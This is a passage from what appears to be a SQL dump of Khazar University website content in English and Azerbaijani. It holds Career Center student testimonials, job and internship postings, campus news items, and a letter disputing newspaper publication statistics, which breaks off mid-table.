Abiyev</h2><p>Computer Science Engineering, Student, Job: Instructor, AZNEXT</p><p>My name is Anar Ibayev. I am 23. I’ve been practicing with the network before Khazar University and I decided to devote on it in future. When I was offered to attend practice at Khazar University, I had no idea that I would be chosen by CISCO where I wanted to work so much. I was chosen by them with the other guys and we were told that after 3 months they will choose the best of us. I have known everything about an upcoming practice that’s why they saw potential in me and they were surprised that I can configure CISCO’s commands. They offered me a job of instructor. That job was to my liking. So, I agreed to work with them.</p><p>&nbsp;</p><h2>Samid Dibirov</h2><p>OIL&amp;GAS Engineering, Student, Job: Intern, AMEC</p><p>In order to be an experienced engineer, you should integrate your knowledge into practice. My friend and I joined this scholarship program for the opportunity to learn by experience. We really appreciate the AMEC Company for giving us this great chance.</p><p>&nbsp;</p><h2>Nasiba Taghiyeva</h2><p>Volunteer Psychologist</p><p>Hello. My name is Nasiba Taghiyeva. My major is psychology. I want to speak about my success story. I am now working at the Modern Psychology Center. The Career Center helped me find this work opportunity. I want to thank Miss Ulviyya for her help.</p><p>&nbsp;</p><h2>Nilufar Agazadeh</h2><p>English Translation, Student, Job: Translator, Headstart International</p><p>Thanks to Career Center that I found my dreams’ job. Headstart International gives me the opportunity to practice everything I learned at Khazar University. It is important to do the internship there. I hope it will help me to improve my language abilities. I will be a professional translator in Azerbaijan. It’s my first goal to become a specialist in my major. It is wonderful that in our university, students can be recruited for job opportunities related their fields. Thanks for everything. And now if you want to be useful for the future and want to form a great career, just believe and be active.</p><p>&nbsp;</p><h2>Nurlan Ismayilov</h2><p>Economics, Student, Job: Accounting Specialist, Parabank</p><p>It is wonderful that in our university, students can be recruited for job opportunities related their fields. I am one of those students. I tried sending my CV many times, but I didn’t get any answers to my application, and the work that was offered wasn’t suitable for me. I began to follow Career Center Job Announcements and decided to send my resume to possible vacancies. Some other students and I applied for Parabank job opportunities. I passed the interview stage and examination successfully. As a result, I am currently performing an internship in the Accounting Department at Parabank. Try to believe in yourself!</p><p>&nbsp;</p><h2>Fatima Bayramova</h2><p>English Translation, Student, Job: Translator, Baku Languages and Business School (BLBS)&nbsp;</p><p>According to Smithsonian magazine, “behind every success story is an embarrassing first effort, a stumble, a setback or a radical change of direction…. When usually I see someone who’s very successful, I almost imagine that it was a foregone conclusion, that they’re a genius, and that they were destined for great things.” I also usually said that I could never take their place. I\'m still a first-year student. But I like working very much. And that’s why I started to look for vacancies... I looked at every vacancy which I found and was suitable for me. I chose some of them and sent my CV. But none of them got back to me. I lost my hope and thought, “what should I do?”</p><p>Then I decided to improve my skills. I started to learn more than before, I changed my aims and I started to think positive things. After that, I understood that \"few successful people were child prodigies, and prodigies don’t necessarily find success\" (Smithsonian). I started to look for jobs again, but now I knew what I wanted. After one month they responded to me.Now I have a good job; I have opportunities for improving my skills and for a good future. I\'m thankful to our career center for that. Of course, without them, I couldn’t have done that. They help me a lot. Thanks for everything.</p>'),(3331,1957,'en','Companies','Companies','<p style=\"\" mso-margin-top-alt:auto;line-height:normal;background:white\";margin-bottom:auto\"=\"\">As fellow professionals in university recruiting, the Career Center understand the challenges you face as an employer in recruiting university graduates. The Career Center values our employers and strives to be your first choice for university recruiting. With a comprehensive array of events and services, you\'ll be connected with candidates with the desired skills and talent you seek. Recruit some of the brightest and most talented students in the country!</p><p>We\'re delighted to help you in sharing your opportunities with Khazar students and alumni, and we\'re here to facilitate that connection through career events, information sessions, on-campus interviews and career education programming.</p>'),(5176,3006,'az','“Xəzər”in müəlliminin tərcüməsi “Azərbaycan” jurnalında','Azərbaycan Yazıçılar Birliyinin aylıq ədəbi-bədii orqanı olan “Azərbaycan” jurnalının 2018-ci il fevral sayında...','<p>Azərbaycan Yazıçılar Birliyinin aylıq ədəbi-bədii orqanı olan “Azərbaycan” jurnalının 2018-ci il fevral sayında Xəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının çevirməsində Türkiyənin tanınmış yazarı Zeynalabidin Makasın “Muradı gözündə qalanlar” adlı əsərindən bir parça dərc edilmişdir. Qarabağla bağlı əsərdə Xocalı faciəsindən doğan ağrı-acılar da yer almışdır.</p>'),(3332,1958,'az','İşlər','','<p style=\"text-align:center\"><strong>SEFCO Consulting Group Təlim\r\nkoordinatoru&nbsp;axtarır&nbsp;-&nbsp;Könüllü</strong></p>\r\n<p style=\"text-align:justify\"><em>Əsas vəzifələri:</em></p><em style=\"text-align:justify\">\r\n</em><p style=\"text-align:justify\">-&nbsp;Peşəkar təlimlərin təşkili, idarə olunması və qiymətləndirilməsi</p>\r\n<p style=\"text-align:justify\">-&nbsp;Ümumi inzibati tapşırıq və texniki məsələlərin həllinə\r\nyardım etmək</p>\r\n<p style=\"text-align:justify\">-&nbsp;Sənəd və yazışmaların &nbsp;həyata keçirilməsi</p>\r\n<p style=\"text-align:justify\">-&nbsp;Təlim fəaliyyətinin təşkilində digər işçi heyyətə dəstək\r\nolmaq</p>\r\n<p style=\"text-align:justify\"><em>Tələblər</em>:</p>\r\n<p style=\"text-align:justify\">-&nbsp;Bakalavr təhsili</p>\r\n<p style=\"text-align:justify\">-&nbsp;Ən azı 1 il müştəriyə yönəlik təcrübə</p>\r\n<p style=\"text-align:justify\">-&nbsp;Azərbaycan və ingilis dillərində əla ünsiyyət bacarığı\r\n(şifahi və yazılı)</p>\r\n<p style=\"text-align:justify\">-&nbsp;Təşkilatı və vaxtı düzgün idarə etmə bacarığı</p>\r\n<p style=\"text-align:justify\">- Təlim avadanlıqlarının saxlanması və idarə olunması</p>\r\n<p style=\"text-align:justify\">-&nbsp;Kompyuter bacarıqları : MS Office</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\">Maraqlanan şəxslər Otaq 211 Karyera Mərkəzinə yaxınlaşa və\r\nya falakbarova@khazar.org &nbsp;ünvanına CV göndərə bilər.</p>\r\n<p style=\"text-align:center\">***</p>'),(3333,1958,'en','Jobs','','<p><strong><br></strong></p><p style=\"text-align:justify\"><strong>SEFCO Consulting Group&nbsp;is looking for&nbsp;Training Coordinator – Volunteer</strong></p>\r\n<p style=\"text-align:justify\">“SEFCO Consulting Group” was established in 2011 in Turkey. “SEFCO Consulting Group” is an organizer of a series of public, economic and social projects which hold special academic trainings in Italy, Ukraine, Slovenia and some other countries. In addition, the company has been started to operate in Azerbaijan since 2014. The goal of the company is the application of the standards adopted in the academic, scientific and international level and the implementation of the projects and trainings within the framework.&nbsp;<br></p><p style=\"text-align:justify\"><em>Main responsibilities</em>:</p><p style=\"text-align:justify\">-&nbsp;Manage multi-touch training initiatives from the Assessment, Design, Development, Implementation and Evaluation stages;</p><p style=\"text-align:justify\">-&nbsp;Document and correspondence management;</p><p style=\"text-align:justify\">-&nbsp;Communication with administration service suppliers and negotiating with them;</p><p style=\"text-align:justify\">-&nbsp;Provide assistance in general office administrative tasks and technical support;</p><p style=\"text-align:justify\">-&nbsp;Provide assistance to other staff in arranging trainings activities.</p><p style=\"text-align:justify\"><em>Requirements</em>:</p><p margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; text-align: justify;\">-&nbsp;Bachelors’ degree&nbsp;&nbsp;<br></p><p style=\"text-align:justify\">-&nbsp;At least one year of direct client-facing experience;</p><p style=\"text-align:justify\">-&nbsp;Excellent communication skills in Azerbaijani and English (both verbal and written);</p><p style=\"text-align:justify\">-&nbsp;Self-motivated with strong organizational and time management skills;</p><p style=\"text-align:justify\">-&nbsp;Manage and maintain in-house training facilities and equipment;</p><p style=\"text-align:justify\">-&nbsp;Software skills: MS Office<br></p><p margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: &quot;Source Sans Pro&quot;, sans-serif; background-color: rgb(255, 255, 255); text-align: justify;\"><br></p><p margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; text-align: justify;\">Interested applicants are welcomed to send their Resume to falakbarova@khazar.org&nbsp; or drop in Career Center at Room 211.&nbsp;</p><p margin-top:4.5pt;margin-right:0cm;margin-bottom:4.5pt;margin-left:0cm;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; text-align: center;\">***</p>'),(3334,1959,'en','Internships ','','<p><br></p><p style=\"text-align:center\"><strong>Legal Internship at Azerbaijan Supermarkets LLC</strong></p><p style=\"text-align:justify\">The Internship Program welcomes motivated, open-minded, and\r\nself-directed individuals to apply.<o:p></o:p></p><p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\">Internship candidates must </p>\r\n<p style=\"text-align:justify\"></p><ul><li>Must be enrolled in an accredited college or university</li><li>All candidates must be able to maintain a consistent work\r\nschedule throughout the session</li><li>Possess an excellent command of Azerbaijani and good command\r\nof English &amp; Russian</li><li>May have professional experience relevant to the assignment</li></ul><p></p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\">Skills</p>\r\n<p style=\"text-align:justify\"></p><ul><li>Maturity (self-awareness / respect for others)</li><li>Leadership (initiative / ability to work with others)</li><li>Critical thinking skills</li><li>Research and/or writing ability</li><li>Possess excellent interpersonal, communication, and\r\nanalytical skills</li><li>Strong communication and conflict resolution skills</li><li>Proven interpersonal, verbal and written communication\r\nskills.</li><li>Well organized with excellent time</li><li>Good I.T. understanding</li></ul><p></p><p style=\"text-align:justify\">NOTES Please, send your CV/Resume to\r\nhr@azerbaijansupermarket.com with \"Internship Program\" subject.</p> <p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>ALMA Consulting and Investment LLC is pleased to announce a\r\n3-month internship program</strong></p>\r\n<p style=\"text-align:justify\">&nbsp;Supporting sustainable development, having the concept\r\nof entrepreneurship and innovation \'ALMA Consulting and Investment Company \'\r\nwas founded in 2015.\'&nbsp;ALMA Consulting and Investment Company\' is a company\r\noperating in the field consulting and investment.</p>\r\n<p style=\"text-align:justify\">ALMA announces internship programs for students in following\r\nareas:</p>\r\n<p style=\"text-align:justify\"><em>1. Business Development area</em></p>\r\n<p style=\"text-align:justify\">- 3rd and 4th year students with Management or Marketing\r\nmajors</p>\r\n<p style=\"text-align:justify\">- Those who are knowledgeable about digital marketing</p>\r\n<p style=\"text-align:justify\">- Creative and responsible</p>\r\n<p style=\"text-align:justify\"><em>2. Marketing and Sales area</em></p>\r\n<p style=\"text-align:justify\">3rd and 4th year students with Management or Marketing\r\nmajors</p>\r\n<p style=\"text-align:justify\">- Those who are knowledgeable about digital marketing</p>\r\n<p style=\"text-align:justify\">- Smooth talk and rhetoric</p>\r\n<p style=\"text-align:justify\">- Creative and responsible</p>\r\n<p style=\"text-align:justify\"><em>3. Project Management area</em></p>\r\n<p style=\"text-align:justify\">- 3rd and 4th year students with Management or Marketing\r\nmajors</p>\r\n<p style=\"text-align:justify\">- Creatively and responsibly</p>'),(3335,1959,'az','Təcrübə proqramları','Təcrübə proqramları','<p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>ALMA Consulting and Investment MMC 3 aylıq&nbsp;TƏCRÜBƏ\r\nproqramı elan edir.</strong></p>\r\n<p style=\"text-align:justify\">Davamlı inkişafı dəstəkləyən, təşəbbüskar və innovativ\r\nkonsepsiyalı \'ALMA Consulting and Investment MMC\' 2016-ci ildə yaradılmışdır.</p>\r\n<p style=\"text-align:justify\">&nbsp;\'ALMA Consulting and Investment MMC\' məsələhət və\r\ninvestisiya sahəsində fəaliyyət göstərən şirkətdir. Bizim fəaliyyət sahəmizə\r\ndaxildir: * Layihələrin idarə edilməsi * Keyfiyyət sisteminin qurulması * Təlimlər.\r\n\'ALMA Consulting and Investment\' nin yönəldiyi başlıca istiqamətlər: * iri şirkətlər\r\n* orta şirkətlər.&nbsp;</p>\r\n<p style=\"text-align:justify\">ALMA tələbələr üçün aşağıdakı təcrübə proqramlarını elan\r\nedir.&nbsp;</p>\r\n<p style=\"text-align:justify\"><em>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Biznesin İnkişafı sahəsi</em></p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketinq sahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDigital marketinq haqqında məlumatlı olanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nYaradıcı və&nbsp;Məsuliyyətli&nbsp;</p>\r\n<p style=\"text-align:justify\"><em>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Marketinq və Satış sahəsi</em></p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketinq sahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nDigital marketinq haqqında məlumatlı olanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Səlist\r\ndanışıq və natiqlik qabiliyyəti</p>\r\n<p style=\"text-align:justify\">- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Yaradıcı və&nbsp;Məsuliyyətli</p>\r\n<p style=\"text-align:justify\"><em>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Layihələrin İdarə Edilməsi\r\nsahəsi</em></p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3-cü\r\nvə 4-cü kurs tələbələri</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; İdarəetmə\r\nsahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nMarketinq sahəsi üzrə təhsil alanlar</p>\r\n<p style=\"text-align:justify\">- &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Yaradıcı və&nbsp;Məsuliyyətli</p>'),(3179,1878,'en','Training Course for Potential School Directors Continues','We present to you pictures from today\'s training from the Course for Potential School Directors...','<p>We present to you pictures from today\'s training from the Course for Potential School Directors.</p>'),(3180,1878,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri sizə təqdim edirik...','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(3181,1873,'en','Career Center Coordinator meets Gilan Holding representatives','On February 8, 2017, Ulviyya Huseynova, coordinator of Khazar University’s Career Development Center, met with the representatives of Gilan Holding. The meeting was intended to...','<p>On February 8,\r\n2017, Ulviyya Huseynova, coordinator of Khazar University’s Career Development\r\nCenter, met with the representatives of Gilan Holding. The meeting was intended\r\nto enhance cooperation with Gilan Holding – to discuss sponsorship\r\npossibilities for Khazar University’s Tedx conference and active participation\r\nin the upcoming Career Fair. The representatives of the company expressed their\r\ninterest in possible future cooperation. &nbsp;</p>'),(3183,1870,'en','Farda Asadov in Saudi Arabia','On January 4-14, 2017, Farda Asadov, Khazar University instructor, visited Mecca and Medina within the framework of the “Guests of Custodian of the Two Holy Mosques King Salman...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On January 4-14, 2017, Farda Asadov, Khazar\r\nUniversity instructor, visited Mecca and Medina within the framework of the\r\n“Guests of Custodian of the Two Holy Mosques King Salman bin Abdulaziz Al-Saud\r\nHosting” program. </p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\">On February 7, 2017, Khazar\r\nUniversity’s Department of History and Archeology organized a meeting in which\r\nFarda Asadov shared his impressions of the visit to Mecca and Medina. The\r\nmeeting was attended by Roza Arazova, Head of the Department of History and\r\nArcheology; instructors Orxan Zamanov, Ulviyya Ibrahimova, Samira Garayeva; Akifa\r\nJafarli, assistant to the department head; Elza Samadova, Dean of the School of\r\nEducation; Baba Bayramlı, Alumni Center Coordinator; Elnura Azizova, Head of\r\nthe Department of Languages and Cultures; Irada Khalilova, Head of the\r\nDepartment of Biological Sciences; Vurgun Ayyub, Head of the Department of\r\nAzerbaijani Language and Literature; Eynur Mehdiyev, Head of the Department of\r\nEnglish Language and Literature; Zivar Huseynli, instructor; and Jabir\r\nMammadli, Coordinator of the Department of Journalism. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Pictures and slides were presented\r\nduring the meeting.&nbsp;</p>'),(3182,1868,'en','Rovshan Abbasov at international conference in Jamaica','On 3-6 February, 2017, Rovshan Abbasov, Head of the Department of Geography and Environment, participated at an international conference on “Global Inventory of Toxic...','<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">On 3-6 February, 2017, Rovshan Abbasov,\r\nHead of the Department of Geography and Environment, participated at an\r\ninternational conference on “Global Inventory of Toxic Contamination Sources”. Rovshan\r\nAbbasov made a presentation on “Remediation near Sumgait – cleaning of toxic\r\ncontaminants from the beach” at the event. </p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Forty-nine countries were represented at\r\nthe event.&nbsp;</p>'),(4941,2883,'az','Professor Hamlet İsaxanlı elmi-praktiki seminarda','2018-ci il fevralın 6-da Azərbaycan Dövlət İqtisad Universitetində keçirilən “Feyk elmi və akademik etika: müasir çağırışlar və yeni institutların inkişafı...','<p>2018-ci il fevralın 6-da Azərbaycan Dövlət İqtisad Universitetində keçirilən “Feyk elmi və akademik etika: müasir çağırışlar və yeni institutların inkişafı” mövzusunda elmi-praktiki seminarda Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı spiker olaraq çıxış etdi.</p><p>ADİU-nun professoru Zahid Məmmədovun moderator olduğu seminarda spikerlər İstanbul Universitetinin prorektoru professor Sedat Murat, BDU-nun “Kriminalistika və məhkəmə ekspertizası” kafedrasının müdiri professor Kamil Səlimov, “Applied and Computation Mathematics” beynəlxalq jurnalının aparıcı redaktoru (2002-2017) olaraq çalışmış professor Yusif Qasımov müasir elmin inkişafında bibliometriya və elmmetriyanın artırılması, saxta tədqiqat bazarı və ona qarşı mübarizə tədbirləri, zibil və yırtıcı jurnallara qarşı mübarizə, saxta yollarla bibliometriya artırmaq və ona qarşı tədbirlər, İndeks Hirş artırma texnologiyası və imitasiya elminin inkişafı, elm və təhsilin vəhdəti problemləri, elmin nəticələrinin nəşrində etik prinsiplər, elmi nəşrlərdə plagiat və ona qarşı mübarizə tədbirləri, elmi ekspertiza nəticələrinin keyfiyyəti, zəif məqalələrin güclü elmi jurnallara yol tapması halları, ADİU-da plagiata qarşı tədbirlər, ADİU-da anti-plagiat proqramının fəaliyyəti və ADİU-də elmi etikanın qorunmasına yönəlik addımlarla bağlı müzakirə mövzuları ətrafında fikir mübadiləsi apardılar.</p>'),(3184,1879,'az','Xəzər Universitetində “Təhsil və media” mövzusunda mətbuat konfransı keçirildi','Fevralın 10-da Xəzər Universitetinin Mərmər zalında “Təhsil və media” mövzusunda mətbuat konfransı keçirildi. Tədbirdə universitetin rəhbərliyi və əməkdaşları, media nümayəndələri...','<p>Fevralın 10-da Xəzər Universitetinin Mərmər zalında\r\n“Təhsil və media” mövzusunda mətbuat konfransı keçirildi. Tədbirdə\r\nuniversitetin rəhbərliyi və əməkdaşları, media nümayəndələri və təhsil ekspertləri\r\niştirak edirdilər.&nbsp; </p>\r\n<p>Mətbuat konfransı Təhsil fakültəsinin dekanı,\r\ndosent Elza Səmədovanın Xəzər Universiteti haqqında slaydlarla müşayiət olunan ətraflı\r\ntəqdimatı ilə başlandı. Sonra universitetin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlı çıxış edərək, təhsil və media münasibətlərindən,\r\nxüsusən ali təhsil müəssisələrinin fəaliyyətinin işıqlandırılması məsələlərindən&nbsp; geniş bəhs etdi.&nbsp; O, medianın bu sahədəki müsbət işi ilə\r\nyanaşı, qələmə alınan mövzuların dərindən öyrənilməməsi ilə əlaqədar ciddi&nbsp; çatışmazlıqların da olduğunu konkret\r\nmisallarla göstərdi və tövsiyələrini bildirdi. Qeyd etdi ki, mövzunun əhatəli və\r\nmühüm olması nəzərə alınaraq, Xəzər Universitetində xarici ölkələrdən də\r\nekspertlərin dəvəti ilə geniş konfrans keçirilə bilər. Həmçinin bildirdi ki,\r\nmedia mənsubları arzu etsələr, Xəzər Universitetində onlar üçün bu mövzuda\r\ntreninqlər də təşkil etmək mümkündür.</p>\r\n<p>İştirakçılardan professor Qulu Məhərrəmli, “Azərbaycan\r\nmüəllimi” qəzetinin əməkdaşı Niyazi Rəhimov, təhsil ekspertləri – Məhərrəm\r\nZülfüqarlı, Etibar Əliyev, Məlahət Mürşüdlü və universitetin Azərbaycan dili və\r\nədəbiyyat departamentinin müdiri Vurğun Əyyub mövzu ətrafında çıxış etdilər,\r\nmülahizə və təkliflərini bildirdilər. </p>\r\n<p>Müzakirələrin aparılması ilə mətbuat konfransı\r\nişini başa çatdırdı.</p>'),(3185,1879,'en','Press Conference held at Khazar University','On February 10, 2017, Khazar University held a press conference on “Education and Media”. The confernce was attended by the university administration, staff members, media...','<p>On February 10, 2017,\r\nKhazar University held a press conference on “Education and Media”. The\r\nconfernce was attended by the university administration, staff members, media\r\nrepresentatives and education experts. </p>\r\n<p>Elza Samadova, Dean of\r\nthe School of Education, opened the event with a thorough presentation. Prof.\r\nHamlet Isaxanli, the founder of Khazar University and Chairman of its Board of\r\nDirectors and Trustees,\r\nmade a speech in which he spoke about the relationship between the media and\r\nhigher educational institutions; stressed the media’s role in highlighting\r\nhigher educational institutions’ activities. He also touched upon some existing\r\nproblems – such as producing and publishing inaccurate and unsourced articles.\r\nHe presented his suggestions and called attention to the possibility of\r\norganizing an international conference on “Education and Media”.</p>\r\n<p>Other speeches were made\r\nby Gulu Maharramli; Niyazi Rahimov, journalist from the “Azərbaycan müəllimi”,\r\neducation experts Maharram Zulfugarli, Etibar Aliyev, Malahat Murshudlu; Vurgun\r\nEyyub, Head of the Department of Azerbaijani Language and Literature; they\r\nshared their opinions and suggestions. </p>\r\n<p>The conference ended with\r\ndiscussions.&nbsp;</p>'),(3190,1881,'az','“Azərbaycan müəllimi” qəzetində dərc olunmuş məqalə ilə əlaqədar Xəzər Universiteti tərəfindən redaksiyaya göndərilmiş məktubu təqdim edirik.','Azərbaycan müəllimi qəzetinin 20.01.2017  tarixli 2-ci nömrəsində (http://muallim.edu.az/content/?category=arxiv&issue=02-017&content_id=24) dərc olunmuş “Ali təhsil müəssisələrinin...','<p><strong>“Azərbaycan\r\nmüəllimi” qəzetinin redaksiyasına </strong></p>\r\n<p>Hörmətli redaksiya!</p>\r\n<p>Azərbaycan müəllimi qəzetinin <a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-2017&amp;content_id=s02\">20.01.2017 </a>&nbsp;tarixli 2-ci nömrəsində (<a href=\"http://muallim.edu.az/content/?category=arxiv&amp;issue=02-017&amp;content_id=24\">http://muallim.edu.az/content/?category=arxiv&amp;issue=02-017&amp;content_id=24</a>)&nbsp;dərc olunmuş “<em>Ali təhsil müəssisələrinin\r\n2016-cı ildə impakt-faktorlu beynəlxalq jurnallarda dərc olunmuş elmi məqalələrinin\r\nstatistikası haqqında</em> <em>məlumat” </em>adlı xəbər yayılmışdır.<em> </em>Təəssüf ki, bu xəbərdə verilən\r\nstatistika <strong>Web of Science</strong> elmi platformasındakı rəsmi statistika\r\nilə, nəinki üst-üstə düşmür, ciddi şəkildə təhrif olunmuşdur. <strong>Web of\r\nScience</strong>&nbsp;dünyada təbiət elmləri, ictimai elmlər, incəsənət və\r\nhumanitar elmlər sahələri üzrə elmi jurnalları indeksləşdirən,&nbsp;biblioqrafik\r\nməlumat toplayan ən məşhur beynəlxalq elmi platformadır. Belə bir mötəbər mənbənin\r\nməlumatlarının bu şəkildə təhrif edilməsi böyük təəssüf hissi doğurur. “Azərbaycan\r\nmüəllimi” qəzetinin redaksiyasından veerilən məlumata görə bütün rəqəmlər ali məktəblər\r\ntərəfindən təqdim edilmişdir və məlumatın doğruluğu üçün ali məktəblərin özləri\r\nməsuliyyət daşıyırlar. Amma, istənilən halda, uyğun məlumatlar ciddi şəkildə\r\nyoxlanılmalıydı. Ali məktəblərdən alınmış məlumatlar qaynaqlarla yoxlanılmamış\r\nvə nəticədə, ictimaiyyətə həqiqətdən çöx uzaq bir informasiya çatdırılmışdır.\r\nQeyd edək ki, qəzetdə dərc edilmiş statistik rəqəmlərdən yalnız 2-si doğrudur\r\n(Xəzər Universiteti və Gəncə Dövlət Universiteti). Onu da qeyd etməyi özümüzə\r\nborc bilirik ki, belə statistika müəllim və elmi işçilərin sayına nisbətdə\r\nverilir. Bu baxımdan, Xəzər Universiteti, ADA universiteti və Milli Aviasiya\r\nAkademiyası digərilərindən fərqlənirlər. Adı çəkilıən bu universitetlər\r\nadambaşına düşən məqalə sayına görə irəlidədirlər.</p>\r\n<p>Bu məsələyə aydınlıq gətirmək üçün <strong>Web of\r\nScience</strong> elmi platformasındakı rəsmi məlumatı “Azərbaycan müəllimi” qəzetində\r\nverilən məlumatla müqayisəli cədvəl şəklində Sizə təqdim edirik. Qeyd edək ki, <strong>Web\r\nof Science</strong> elmi platformasında, “Azərbaycan müəllimi” qəzetində qeyd\r\nolunmayan digər 5 universitetin və&nbsp;Azərbaycan Milli Elmlər Akademiyasının\r\nda 2016-cı ildə çap olunmuş nəşrləri haqqında statistik məlumat əks olunub. </p>\r\n<p>Xahiş edirik ki, oxucuların dəqiq və obyektiv məlumatla\r\ntanış olması üçün şərait yaradasınız və “Azərbaycan müəllimi” qəzetində verilmiş\r\nyanlış məlumatla yanaşı yeni doğru məlumatı dərc edəsiniz.</p>\r\n<p>Hörmətlə,</p>\r\n<p><strong>Əlövsət Əmirbəyli</strong></p>\r\n<p>Xəzər\r\nUniversiteti, İctimaiyyətlə əlaqələr və media üzrə direktor</p>\r\n<p>26\r\nyanvar 2017-ci il</p>\r\n<p>Ali təhsil müəssisələri və\r\nAzərbaycan Milli Elmlər Akademiyası tərəfindən 2016-cı ildə <strong>Thomson\r\nReuters</strong><strong>Web\r\nof Science</strong>&nbsp;beynəlxalq jurnallarında çap olunmuş nəşrlərin\r\nsayı haqqında statistik məlumat</p>\r\n<table cellspacing=\"0\" cellpadding=\"0\" width=\"652\" style=\"\" width:489.05pt;border-collapse:collapse;margin-left:6.75pt;margin-right:6.75pt;border-width:1px;border-style:solid;float:left;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"75\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td width=\"265\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>Universitetin</strong><strong>/</strong><strong>Təşkilatın adı</strong></p>\r\n  </td>\r\n  <td width=\"142\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>“Azərbaycan Müəllimi” qəzətində verilən&nbsp; məlumat</strong></p>\r\n  </td>\r\n  <td width=\"170\">\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>Web of Science elmi platformasında olan statistik məlumat </strong><strong></strong></p>\r\n  <p style=\"\" text-align:center;text-align:center\"=\"\"><strong>(25.01.2017)</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"75\">\r\n  <p>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  &nbsp;</p>\r\n  </td>\r\n  <td width=\"265\" style=\"\" width:198.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" windowtext=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p>Azərbaycan\r\n  Dövlət İqtisad Universiteti</p>\r\n  </td>\r\n  <td width=\"142\" style=\"\" 